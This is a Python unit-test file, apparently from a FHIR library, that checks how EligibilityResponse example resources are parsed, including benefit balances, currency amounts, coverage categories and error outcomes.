force_bytes(inst.insurance[0].benefitBalance[0].category.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-category"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[0].allowedMoney.code ), force_bytes("USD"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[0].allowedMoney.system ), force_bytes("urn:iso:std:iso:4217"), ) self.assertEqual( inst.insurance[0].benefitBalance[0].financial[0].allowedMoney.value, 500000 ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[0].type.coding[0].code ), force_bytes("benefit"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[0].usedMoney.code ), force_bytes("USD"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[0].usedMoney.system ), force_bytes("urn:iso:std:iso:4217"), ) self.assertEqual( inst.insurance[0].benefitBalance[0].financial[0].usedMoney.value, 3748.0 ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[1].allowedMoney.code ), force_bytes("USD"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[1].allowedMoney.system ), force_bytes("urn:iso:std:iso:4217"), ) self.assertEqual( inst.insurance[0].benefitBalance[0].financial[1].allowedMoney.value, 100 ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[1].type.coding[0].code ), force_bytes("copay-maximum"), ) self.assertEqual( inst.insurance[0].benefitBalance[0].financial[2].allowedUnsignedInt, 20 ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[2].type.coding[0].code ), force_bytes("copay-percent"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].network.coding[0].code), force_bytes("in"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].network.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-network"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].subCategory.coding[0].code), force_bytes("30"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].subCategory.coding[0].display ), force_bytes("Health Benefit Plan Coverage"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].subCategory.coding[0].system ), force_bytes("http://hl7.org/fhir/benefit-subcategory"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].term.coding[0].code), force_bytes("annual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].term.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-term"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].unit.coding[0].code), force_bytes("individual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].unit.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-unit"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].category.coding[0].code), force_bytes("medical"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].category.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-category"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[1].financial[0].allowedMoney.code ), force_bytes("USD"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[1].financial[0].allowedMoney.system ), force_bytes("urn:iso:std:iso:4217"), ) self.assertEqual( inst.insurance[0].benefitBalance[1].financial[0].allowedMoney.value, 15000 ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[1].financial[0].type.coding[0].code ), force_bytes("benefit"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].network.coding[0].code), force_bytes("in"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].network.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-network"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].subCategory.coding[0].code), force_bytes("69"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[1].subCategory.coding[0].display ), force_bytes("Maternity"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[1].subCategory.coding[0].system ), force_bytes("http://hl7.org/fhir/benefit-subcategory"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].term.coding[0].code), force_bytes("annual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].term.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-term"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].unit.coding[0].code), force_bytes("individual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].unit.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-unit"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].category.coding[0].code), force_bytes("oral"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].category.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-category"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[2].financial[0].allowedMoney.code ), force_bytes("USD"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[2].financial[0].allowedMoney.system ), force_bytes("urn:iso:std:iso:4217"), ) self.assertEqual( inst.insurance[0].benefitBalance[2].financial[0].allowedMoney.value, 2000 ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[2].financial[0].type.coding[0].code ), force_bytes("benefit"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].network.coding[0].code), force_bytes("in"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].network.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-network"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].subCategory.coding[0].code), force_bytes("F3"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[2].subCategory.coding[0].display ), force_bytes("Dental Coverage"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[2].subCategory.coding[0].system ), force_bytes("http://hl7.org/fhir/benefit-subcategory"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].term.coding[0].code), force_bytes("annual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].term.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-term"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].unit.coding[0].code), force_bytes("individual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].unit.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-unit"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].category.coding[0].code), force_bytes("vision"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].category.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-category"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].description), force_bytes( "Vision products and services such as exams, glasses and contatc lenses." ), ) self.assertTrue(inst.insurance[0].benefitBalance[3].excluded) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].name), force_bytes("Vision") ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].subCategory.coding[0].code), force_bytes("F6"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[3].subCategory.coding[0].display ), force_bytes("Vision Coverage"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[3].subCategory.coding[0].system ), force_bytes("http://hl7.org/fhir/benefit-subcategory"), ) self.assertEqual( force_bytes(inst.outcome.coding[0].code), force_bytes("complete") ) self.assertEqual( force_bytes(inst.outcome.coding[0].system), force_bytes("http://hl7.org/fhir/remittance-outcome"), ) self.assertEqual(force_bytes(inst.status), force_bytes("active")) self.assertEqual( force_bytes(inst.text.div), force_bytes( '<div xmlns="http://www.w3.org/1999/xhtml">A human-readable rendering of the EligibilityResponse.</div>' ), ) self.assertEqual(force_bytes(inst.text.status), force_bytes("generated")) def testEligibilityResponse2(self): inst = self.instantiate_from("eligibilityresponse-example-error.json") self.assertIsNotNone( inst, "Must have instantiated a EligibilityResponse instance" ) self.implEligibilityResponse2(inst) js = inst.as_json() self.assertEqual("EligibilityResponse", js["resourceType"]) inst2 = eligibilityresponse.EligibilityResponse(js) self.implEligibilityResponse2(inst2) def implEligibilityResponse2(self, inst): self.assertEqual(inst.created.date, FHIRDate("2014-09-16").date) self.assertEqual(inst.created.as_json(), "2014-09-16") self.assertEqual( force_bytes(inst.disposition), force_bytes( "Eligibiliy request could not be processed, please address errors before submitting." ), ) self.assertEqual( force_bytes(inst.error[0].code.coding[0].code), force_bytes("a001") ) self.assertEqual( force_bytes(inst.error[0].code.coding[0].system), force_bytes("http://hl7.org/fhir/adjudication-error"), ) self.assertEqual( force_bytes(inst.form.coding[0].code), force_bytes("ELRSP/2017/01") ) self.assertEqual( force_bytes(inst.form.coding[0].system), force_bytes("http://national.org/form"), ) self.assertEqual(force_bytes(inst.id), force_bytes("E2503")) self.assertEqual( force_bytes(inst.identifier[0].system), force_bytes("http://www.BenefitsInc.com/fhir/eligibilityresponse"), ) self.assertEqual(force_bytes(inst.identifier[0].value), force_bytes("8812343")) self.assertEqual(force_bytes(inst.outcome.coding[0].code), force_bytes("error")) self.assertEqual( force_bytes(inst.outcome.coding[0].system), force_bytes("http://hl7.org/fhir/remittance-outcome"), ) self.assertEqual(force_bytes(inst.status), force_bytes("active")) self.assertEqual( force_bytes(inst.text.div), force_bytes( '<div xmlns="http://www.w3.org/1999/xhtml">A human-readable rendering of the EligibilityResponse.</div>' ), ) self.assertEqual(force_bytes(inst.text.status), force_bytes("generated")) def testEligibilityResponse3(self): inst = self.instantiate_from("eligibilityresponse-example.json") self.assertIsNotNone( inst, "Must have instantiated a EligibilityResponse instance" ) self.implEligibilityResponse3(inst) js = inst.as_json() self.assertEqual("EligibilityResponse", js["resourceType"]) inst2 = eligibilityresponse.EligibilityResponse(js) self.implEligibilityResponse3(inst2) def implEligibilityResponse3(self, inst): self.assertEqual(inst.created.date, FHIRDate("2014-08-16").date) self.assertEqual(inst.created.as_json(), "2014-08-16") self.assertEqual( force_bytes(inst.disposition), force_bytes("Policy is currently in-force.") ) self.assertEqual(force_bytes(inst.id), force_bytes("E2500")) self.assertEqual( force_bytes(inst.identifier[0].system), force_bytes("http://www.BenefitsInc.com/fhir/eligibilityresponse"), ) self.assertEqual(force_bytes(inst.identifier[0].value), force_bytes("881234")) self.assertTrue(inst.inforce) self.assertEqual( force_bytes(inst.outcome.coding[0].code), force_bytes("complete") ) self.assertEqual( force_bytes(inst.outcome.coding[0].system), force_bytes("http://hl7.org/fhir/remittance-outcome"), ) self.assertEqual(force_bytes(inst.status), force_bytes("active")) self.assertEqual( force_bytes(inst.text.div), force_bytes( '<div xmlns="http://www.w3.org/1999/xhtml">A human-readable rendering of the EligibilityResponse.</div>' ), ) self.assertEqual(force_bytes(inst.text.status), force_bytes("generated")) def testEligibilityResponse4(self): inst = self.instantiate_from("eligibilityresponse-example-benefits.json") self.assertIsNotNone( inst, "Must have instantiated a EligibilityResponse instance" ) self.implEligibilityResponse4(inst) js = inst.as_json() self.assertEqual("EligibilityResponse", js["resourceType"]) inst2 = eligibilityresponse.EligibilityResponse(js) self.implEligibilityResponse4(inst2) def implEligibilityResponse4(self, inst): self.assertEqual(inst.created.date, FHIRDate("2014-08-16").date) self.assertEqual(inst.created.as_json(), "2014-08-16") self.assertEqual( force_bytes(inst.disposition), force_bytes("Policy is currently in-force.") ) self.assertEqual(force_bytes(inst.id), force_bytes("E2501")) self.assertEqual( force_bytes(inst.identifier[0].system), force_bytes("http://www.BenefitsInc.com/fhir/eligibilityresponse"), ) self.assertEqual(force_bytes(inst.identifier[0].value), force_bytes("881234")) self.assertTrue(inst.inforce) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].category.coding[0].code), force_bytes("medical"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].category.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-category"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[0].allowedMoney.code ), force_bytes("SAR"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[0].allowedMoney.system ), force_bytes("urn:iso:std:iso:4217"), ) self.assertEqual( inst.insurance[0].benefitBalance[0].financial[0].allowedMoney.value, 500000 ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[0].type.coding[0].code ), force_bytes("benefit"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[1].allowedMoney.code ), force_bytes("SAR"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[1].allowedMoney.system ), force_bytes("urn:iso:std:iso:4217"), ) self.assertEqual( inst.insurance[0].benefitBalance[0].financial[1].allowedMoney.value, 100 ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[1].type.coding[0].code ), force_bytes("copay-maximum"), ) self.assertEqual( inst.insurance[0].benefitBalance[0].financial[2].allowedUnsignedInt, 20 ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].financial[2].type.coding[0].code ), force_bytes("copay-percent"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].network.coding[0].code), force_bytes("in"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].network.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-network"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].subCategory.coding[0].code), force_bytes("30"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].subCategory.coding[0].display ), force_bytes("Health Benefit Plan Coverage"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[0].subCategory.coding[0].system ), force_bytes("http://hl7.org/fhir/benefit-subcategory"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].term.coding[0].code), force_bytes("annual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].term.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-term"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].unit.coding[0].code), force_bytes("individual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].unit.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-unit"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].category.coding[0].code), force_bytes("medical"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].category.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-category"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[1].financial[0].allowedMoney.code ), force_bytes("SAR"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[1].financial[0].allowedMoney.system ), force_bytes("urn:iso:std:iso:4217"), ) self.assertEqual( inst.insurance[0].benefitBalance[1].financial[0].allowedMoney.value, 15000 ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[1].financial[0].type.coding[0].code ), force_bytes("benefit"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].network.coding[0].code), force_bytes("in"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].network.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-network"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].subCategory.coding[0].code), force_bytes("69"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[1].subCategory.coding[0].display ), force_bytes("Maternity"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[1].subCategory.coding[0].system ), force_bytes("http://hl7.org/fhir/benefit-subcategory"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].term.coding[0].code), force_bytes("annual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].term.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-term"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].unit.coding[0].code), force_bytes("individual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[1].unit.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-unit"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].category.coding[0].code), force_bytes("oral"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].category.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-category"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[2].financial[0].allowedMoney.code ), force_bytes("SAR"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[2].financial[0].allowedMoney.system ), force_bytes("urn:iso:std:iso:4217"), ) self.assertEqual( inst.insurance[0].benefitBalance[2].financial[0].allowedMoney.value, 2000 ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[2].financial[0].type.coding[0].code ), force_bytes("benefit"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].network.coding[0].code), force_bytes("in"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].network.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-network"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].subCategory.coding[0].code), force_bytes("F3"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[2].subCategory.coding[0].display ), force_bytes("Dental Coverage"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[2].subCategory.coding[0].system ), force_bytes("http://hl7.org/fhir/benefit-subcategory"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].term.coding[0].code), force_bytes("annual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].term.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-term"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].unit.coding[0].code), force_bytes("individual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[2].unit.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-unit"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].category.coding[0].code), force_bytes("vision"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].category.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-category"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[3].financial[0].allowedMoney.code ), force_bytes("SAR"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[3].financial[0].allowedMoney.system ), force_bytes("urn:iso:std:iso:4217"), ) self.assertEqual( inst.insurance[0].benefitBalance[3].financial[0].allowedMoney.value, 400 ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[3].financial[0].type.coding[0].code ), force_bytes("benefit"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].network.coding[0].code), force_bytes("in"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].network.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-network"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].subCategory.coding[0].code), force_bytes("F6"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[3].subCategory.coding[0].display ), force_bytes("Vision Coverage"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[3].subCategory.coding[0].system ), force_bytes("http://hl7.org/fhir/benefit-subcategory"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].term.coding[0].code), force_bytes("annual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].term.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-term"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].unit.coding[0].code), force_bytes("individual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[3].unit.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-unit"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[4].category.coding[0].code), force_bytes("vision"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[4].category.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-category"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[4].financial[0].allowedString), force_bytes("shared"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[4].financial[0].type.coding[0].code ), force_bytes("room"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[4].financial[1].allowedMoney.code ), force_bytes("SAR"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[4].financial[1].allowedMoney.system ), force_bytes("urn:iso:std:iso:4217"), ) self.assertEqual( inst.insurance[0].benefitBalance[4].financial[1].allowedMoney.value, 600 ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[4].financial[1].type.coding[0].code ), force_bytes("benefit"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[4].network.coding[0].code), force_bytes("in"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[4].network.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-network"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[4].subCategory.coding[0].code), force_bytes("49"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[4].subCategory.coding[0].display ), force_bytes("Hospital Room and Board"), ) self.assertEqual( force_bytes( inst.insurance[0].benefitBalance[4].subCategory.coding[0].system ), force_bytes("http://hl7.org/fhir/benefit-subcategory"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[4].term.coding[0].code), force_bytes("day"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[4].term.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-term"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[4].unit.coding[0].code), force_bytes("individual"), ) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[4].unit.coding[0].system), force_bytes("http://hl7.org/fhir/benefit-unit"), ) self.assertEqual( force_bytes(inst.outcome.coding[0].code), force_bytes("complete") ) self.assertEqual( force_bytes(inst.outcome.coding[0].system), force_bytes("http://hl7.org/fhir/remittance-outcome"), ) self.assertEqual(force_bytes(inst.status), force_bytes("active")) self.assertEqual( force_bytes(inst.text.div), force_bytes( '<div xmlns="http://www.w3.org/1999/xhtml">A human-readable rendering of the EligibilityResponse.</div>' ), ) self.assertEqual(force_bytes(inst.text.status), force_bytes("generated"))
39.085586
120
0.582575
3,526
34,708
5.630459
0.060692
0.176799
0.176296
0.22037
0.933461
0.928877
0.922279
0.91694
0.906765
0.902131
0
0.033229
0.284661
34,708
887
121
39.129651
0.766393
0.005071
0
0.697216
0
0.00464
0.119627
0.008081
0
0
0
0
0.242459
1
0.010441
false
0
0.009281
0
0.022042
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
147ce3aea6c764868148c9c1692c6e352a1d2fc7
47
py
Python
swagger-4-es development/images/swagger/source/text_analysis/__init__.py
swarmee/swagger-4-es
8ee367267c9a4afd9abba5964570d32c44c7ce34
[ "MIT" ]
3
2021-12-28T08:43:00.000Z
2022-02-09T14:51:07.000Z
swagger-4-es development/images/swagger/source/text_analysis/__init__.py
swarmee/swagger-4-es
8ee367267c9a4afd9abba5964570d32c44c7ce34
[ "MIT" ]
null
null
null
swagger-4-es development/images/swagger/source/text_analysis/__init__.py
swarmee/swagger-4-es
8ee367267c9a4afd9abba5964570d32c44c7ce34
[ "MIT" ]
null
null
null
from .text_analysis import api as text_analysis
47
47
0.87234
8
47
4.875
0.75
0.615385
0
0
0
0
0
0
0
0
0
0
0.106383
47
1
47
47
0.928571
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
14ba590078e9faf79931b43d70a8dbcb1ddbae0c
160
py
Python
yaaf/memory/__init__.py
ilvieira/yaaf
931bde3dbad521bf5fb2744793f54791ca7add11
[ "Apache-2.0" ]
18
2019-06-01T17:17:25.000Z
2022-01-21T16:09:20.000Z
yaaf/memory/__init__.py
ilvieira/yaaf
931bde3dbad521bf5fb2744793f54791ca7add11
[ "Apache-2.0" ]
null
null
null
yaaf/memory/__init__.py
ilvieira/yaaf
931bde3dbad521bf5fb2744793f54791ca7add11
[ "Apache-2.0" ]
2
2021-02-15T10:11:41.000Z
2021-03-20T21:38:34.000Z
from yaaf.memory.ExperienceReplayBuffer import ExperienceReplayBuffer from yaaf.memory.LazyFramesExperienceReplayBuffer import LazyFramesExperienceReplayBuffer
53.333333
89
0.925
12
160
12.333333
0.5
0.108108
0.189189
0
0
0
0
0
0
0
0
0
0.05
160
2
90
80
0.973684
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
1
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
213a5e21694d073ef9b224ca4674bd2a84674c03
16,700
py
Python
metalacc/api/tests/test_period.py
stricoff92/metalaccounting
6c9f650b3dd3c74c3ebbe847e0c05bb233e14153
[ "MIT" ]
null
null
null
metalacc/api/tests/test_period.py
stricoff92/metalaccounting
6c9f650b3dd3c74c3ebbe847e0c05bb233e14153
[ "MIT" ]
3
2021-03-30T14:01:37.000Z
2021-06-10T19:46:42.000Z
metalacc/api/tests/test_period.py
stricoff92/metalaccounting
6c9f650b3dd3c74c3ebbe847e0c05bb233e14153
[ "MIT" ]
null
null
null
import datetime as dt from django.urls import reverse from rest_framework import status from .base import BaseTestBase from api.models import Period, CashFlowWorksheet class PeriodViewTests(BaseTestBase): def setUp(self): super().setUp() self.client.force_login(self.user) def tearDown(self): super().tearDown() def is_timeconflict_response(self, response): return ( response.status_code == status.HTTP_409_CONFLICT and 'start and end date overlaps with another period' in response.data) def test_user_can_add_a_period_for_their_own_company(self): """ Test that a user can add a new period to their own company """ company = self.factory.create_company(self.user) self.assertEqual(Period.objects.count(), 0) url = reverse('period-new') data = { 'company':company.slug, 'start':dt.date(2020, 1, 1), 'end':dt.date(2020, 3, 31), } response = self.client.post(url, data, format='json') self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(Period.objects.count(), 1) period = Period.objects.first() self.assertEqual(period.start, dt.date(2020, 1, 1)) self.assertEqual(period.end, dt.date(2020, 3, 31)) self.assertEqual(period.company, company) self.assertEqual(period.user, self.user) self.assertIsNotNone(period.version_hash) self.assertTrue(len(period.version_hash) > 30) def test_start_must_be_before_end_when_creating_a_new_period(self): """ Test that the start date must come before the end date when creating a new period """ company = self.factory.create_company(self.user) self.assertEqual(Period.objects.count(), 0) url = reverse('period-new') data = { 'company':company.slug, 'start':dt.date(2020, 2, 1), 'end':dt.date(2020, 2, 1), } response = self.client.post(url, data, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) data = { 'company':company.slug, 'start':dt.date(2020, 2, 10), 'end':dt.date(2020, 2, 1), } response = self.client.post(url, data, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_user_cannot_add_a_period_for_another_users_company(self): """ Test that a user cannot add periods to another user's company """ company = self.factory.create_company(self.other_user) self.assertEqual(Period.objects.count(), 0) url = reverse('period-new') data = { 'company':company.slug, 'start':dt.date(2020, 1, 1), 'end':dt.date(2020, 3, 31), } response = self.client.post(url, data, format='json') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(Period.objects.count(), 0) self.client.force_login(self.other_user) response = self.client.post(url, data, format='json') self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(Period.objects.count(), 1) def test_user_cannot_add_a_period_if_they_are_over_the_object_limit(self): """ Test that a user cannot add additional periods to a company if they are at the object limit for periods per company. """ self.user_profile.object_limit_periods_per_company = 0 self.user_profile.save() company = self.factory.create_company(self.user) self.assertEqual(Period.objects.count(), 0) url = reverse('period-new') data = { 'company':company.slug, 'start':dt.date(2020, 1, 1), 'end':dt.date(2020, 3, 31), } response = self.client.post(url, data, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(Period.objects.count(), 0) self.user_profile.object_limit_periods_per_company = 1 self.user_profile.save() response = self.client.post(url, data, format='json') self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(Period.objects.count(), 1) def test_new_period_starts_1_day_after_period_ends(self): """ Test user can add a period that starts 1 day after an existing period ends. """ company = self.factory.create_company(self.user) period1 = self.factory.create_period(company, dt.date(2020, 3, 1), dt.date(2020, 3, 31)) url = reverse('period-new') data = { 'company':company.slug, 'start':dt.date(2020, 4, 1), 'end':dt.date(2020, 5, 15), } response = self.client.post(url, data, format='json') self.assertEqual(response.status_code, status.HTTP_201_CREATED) def test_new_period_end_1_day_before_period_starts(self): """ Test user can add a period that starts 1 day after an existing period ends. """ company = self.factory.create_company(self.user) period1 = self.factory.create_period(company, dt.date(2020, 3, 1), dt.date(2020, 3, 31)) url = reverse('period-new') data = { 'company':company.slug, 'start':dt.date(2020, 1, 1), 'end':dt.date(2020, 2, 29), } response = self.client.post(url, data, format='json') self.assertEqual(response.status_code, status.HTTP_201_CREATED) def test_new_period_start_end_conflict(self): """ Test user cannot add a period if it conflicts """ company = self.factory.create_company(self.user) period1 = self.factory.create_period(company, dt.date(2020, 3, 1), dt.date(2020, 3, 31)) url = reverse('period-new') self.assertEqual(Period.objects.count(), 1) # Partial overlap start data = { 'company':company.slug, 'start':dt.date(2020, 1, 1), 'end':dt.date(2020, 3, 15), } response = self.client.post(url, data, format='json') self.assertTrue(self.is_timeconflict_response(response)) # Partial overlap end data = { 'company':company.slug, 'start':dt.date(2020, 3, 15), 'end':dt.date(2020, 4, 15), } response = self.client.post(url, data, format='json') self.assertTrue(self.is_timeconflict_response(response)) # 1 day overlap start data = { 'company':company.slug, 'start':dt.date(2020, 1, 15), 'end':dt.date(2020, 3, 1), } response = self.client.post(url, data, format='json') 